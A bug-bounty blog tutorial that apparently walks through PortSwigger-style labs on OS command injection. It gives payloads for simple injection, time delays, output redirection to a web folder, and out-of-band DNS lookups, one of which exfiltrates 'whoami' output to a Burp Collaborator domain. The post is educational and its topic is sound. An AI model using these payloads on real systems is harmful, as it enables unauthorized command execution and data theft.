Close Menu
    What's Hot

    Why GRC Services Are Vital for Business Growth and Compliance in 2025

    July 1, 2025

    Ultimate Guide to Attack Surface Scanning

    April 10, 2025

    Recent Trends in Zero Trust Architecture

    March 3, 2025
    Facebook X (Twitter) Instagram LinkedIn WhatsApp
    HITH Blog – HackerinthehouseHITH Blog – Hackerinthehouse
    • Bug Bounty

      A Beginner’s guide to Active Directory Penetration Testing

      June 21, 2023

      Building an XSS Scanner with Python

      February 27, 2023

      Journey to Website Security: Uncovering Hyperlink Injection Dangers

      February 24, 2023

      File Upload XSS | Find XSS in a different way while doing Bug bounty and Pentesting

      January 13, 2023

      How To Find DOM-based XSS Vulnerability

      December 27, 2022
    • Pen Testing

      Privileged Escalation: How Hackers Exploit Permissions to Compromise Your Systems

      March 5, 2024

      The Ultimate Guide to Vulnerability Scanning

      December 13, 2023

      Top 10 Tools for Real World Red Teaming

      November 18, 2023

      Locking Down OAuth 2.0: Critical Steps to Protect User Accounts and Data

      November 10, 2023

      Detailed guide on Password Transmutations

      April 29, 2023
    • Cyber Security

      Why GRC Services Are Vital for Business Growth and Compliance in 2025

      July 1, 2025

      Ultimate Guide to Attack Surface Scanning

      April 10, 2025

      Recent Trends in Zero Trust Architecture

      March 3, 2025

      Modern Defensive Cybersecurity Services

      December 29, 2024

      A Comprehensive Guide on Cyber Security Services VS Cyber Security Products

      June 14, 2024
    • Services
    • Product
      • Certifications
    • More
      1. Ethical Hacking
      2. Kali Linux
      3. Write Ups
      4. CTF
      5. Blockchain
      6. Machine Learning
      7. Computer Science
      8. View All

      Journey to Website Security: Uncovering Hyperlink Injection Dangers

      February 24, 2023

      Pentest/VAPT RoE and Best Practices

      February 3, 2023

      Emoji Deploy Attack Chain

      January 24, 2023

      Introduction to Information Security

      January 11, 2023

      Cyber Security Roadmap (Part-2)

      October 25, 2022

      How to install waybacksurls in kali linux (2022)

      September 23, 2022

      How To Find Hidden Parameters

      November 12, 2022

      Top 10 Subdomain Takeover Reports

      November 6, 2022

      Pause DeSync Attack :

      November 3, 2022

      Bypassing OTP Verification Methods

      October 31, 2022

      Tryhackme Vulnversity walkthrough

      September 26, 2022

      Why GRC Services Are Vital for Business Growth and Compliance in 2025

      July 1, 2025

      Ultimate Guide to Attack Surface Scanning

      April 10, 2025

      Recent Trends in Zero Trust Architecture

      March 3, 2025

      Modern Defensive Cybersecurity Services

      December 29, 2024

      A Peek into Facial Recognition Technology

      August 21, 2023

      How Data Scientists and Machine Learning Engineers Differs

      November 8, 2022

      Artificial Neural Networks with ML

      November 4, 2022

      INTRODUCTION TO MACHINE LEARNING

      October 20, 2022

      Robotic Process Automation: The Key to Effortless Efficiency

      September 18, 2024

      BCI: Merging Minds With Machines

      August 18, 2023

      Is Quantum Computing the future of Computing?

      August 16, 2023

      Why GRC Services Are Vital for Business Growth and Compliance in 2025

      July 1, 2025

      Ultimate Guide to Attack Surface Scanning

      April 10, 2025

      Recent Trends in Zero Trust Architecture

      March 3, 2025

      Modern Defensive Cybersecurity Services

      December 29, 2024
    HITH Blog – HackerinthehouseHITH Blog – Hackerinthehouse
    Home»Bug Bounty»Basic OS Command Injection
    Bug Bounty

    Basic OS Command Injection

    By Ravi TakaleNovember 26, 2022Updated:December 4, 2022No Comments4 Mins Read
    Share Facebook Twitter Pinterest LinkedIn Tumblr Reddit Telegram Email
    Share
    Facebook Twitter LinkedIn Pinterest Email

    What is OS Command Injection ?

         Well!!! Hello everyone! It’s ravitbughunter Back again I hope you all doing very well . today we will learn command injection .Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application

     

    Types of OS Command Injection :

    1. OS command injection, simple case
    2. Blind OS command injection with time delays
    3. Blind OS command injection with output redirection
    4. Blind OS command injection with out-of-band interaction
    5. Blind OS command injection with out-of-band data exfiltration

    1.Os Command injection , Simple case

    Description: The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response.

    Steps to reproduce:

    • Use Burp Suite to intercept and modify a request that checks the stock level.
    • Modify the storeID parameter, giving it the value 1|whoami
    • Observe that the response contains the name of the current user

    When you see whoami response means  this website is vulnerable.

     

    2. Blind OS command injection with time delays

    Description:  The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. To the vulnerability exploit the blind OS command injection vulnerability to cause a 10 second delay.

    Steps to Reproduce:

    • Use Burp Suite to intercept and modify the request that submits feedback.
    • Modify the email parameter, changing it to:email=x||ping+-c+10+127.0.0.1||
    • Observe that the response takes 10 seconds to return.

     

     

    3. Blind OS command injection with output redirection.

    Description: The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. However, you can use output redirection to capture the output from the command. There is a writable folder at:

    Steps to Reproduce:

    • Use Burp Suite to intercept and modify the request that submits feedback.
    • Modify the email parameter, changing it to:email=||whoami>/var/www/images/output.txt||
    • Now use Burp Suite to intercept and modify the request that loads an image of a product.
    • Modify the filename parameter, changing the value to the name of the file you specified for the output of the injected command:filename=output.txt
    • Observe that the response contains the output from the injected command.

     

     

    4. Blind OS command injection with out-of-band interaction:

    Description: The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application’s response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.

    Steps to Reproduce:

    • Use Burp Suite to intercept and modify the request that submits feedback.
    • Modify the email parameter, changing it to:email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||
    • Right-click and select “Insert Collaborator payload” to insert a Burp Collaborator subdomain where indicated in the modified email parameter.

     

    5. Blind OS command injection with out-of-band data exfiltration:

    Description: The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application’s response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain. For this vulnerability  execute the whoami command and exfiltrate the output via a DNS query to Burp Collaborator. You will need to enter the name of the current user to find of vulnerability.

    Note: To find vulnerability , you must use Burp Collaborator’s default public server.

    Steps to Reproduce:

    • Use Burp Suite Professional to intercept and modify the request that submits feedback.
    • Go to the Collaborator tab.
    • Modify the email parameter, changing it to something like the following, but insert your Burp Collaborator subdomain where indicated:email=||nslookup+`whoami`.BURP-COLLABORATOR-SUBDOMAIN||
    • Go back to the Collaborator tab, and click “Poll now”. You should see some DNS interactions that were initiated by the application as the result of your payload. If you don’t see any interactions listed, wait a few seconds and try again, since the server-side command is executed asynchronously.
    • Observe that the output from your command appears in the subdomain of the interaction, and you can view this within the Collaborator tab. The full domain name that was looked up is shown in the Description tab for the interaction.
    • To find vulnerability , enter the name of the current user.

     

    Impact:

    A command injection vulnerability allows attackers to execute arbitrary system commands on the attacked party’s host operating system

     

    Thanks for connecting with Hackerinthehouse.

     

    See you in Next Post.

    Author

    • Ravi Takale

      View all posts

    bugbounty bugbountytips command injection Cyber-Security os-command-injection pentesting vulnerability
    Share. Facebook Twitter Pinterest LinkedIn Tumblr Email
    Previous ArticleHow to Hack Windows 11? Bypass Antivirus in Windows 11
    Next Article Fuel Labs 80M$ Fund raising, steps to join early tester
    Ravi Takale

    Related Posts

    Cyber Security

    Why GRC Services Are Vital for Business Growth and Compliance in 2025

    July 1, 2025
    Cyber Security

    A Comprehensive Guide to Security Compliance

    May 6, 2024
    Cyber Security

    A Comprehensive Guide to APT

    March 10, 2024
    Add A Comment
    Leave A Reply Cancel Reply

    Advertisement
    Top Posts

    How to install waybacksurls in kali linux (2022)

    September 23, 20222,636 Views

    File Upload XSS | Find XSS in a different way while doing Bug bounty and Pentesting

    January 13, 2023933 Views

    OSCP Cheat Sheet

    October 16, 2022910 Views
    Stay In Touch
    • Facebook
    • YouTube
    • TikTok
    • WhatsApp
    • Twitter
    • Instagram
    Latest Reviews

    Subscribe to Updates

    Get the latest tech news from FooBar about tech, design and biz.

    Advertisement
    X (Twitter) Instagram LinkedIn WhatsApp Telegram
    • About us
    • Contact Us
    • Privacy Policy
    • Terms
    © 2025 HITH Blog. Powered by Hackerinthehouse.

    Type above and press Enter to search. Press Esc to cancel.

    Ad Blocker Enabled!
    Ad Blocker Enabled!
    Our website is made possible by displaying online advertisements to our visitors. Please support us by disabling your Ad Blocker.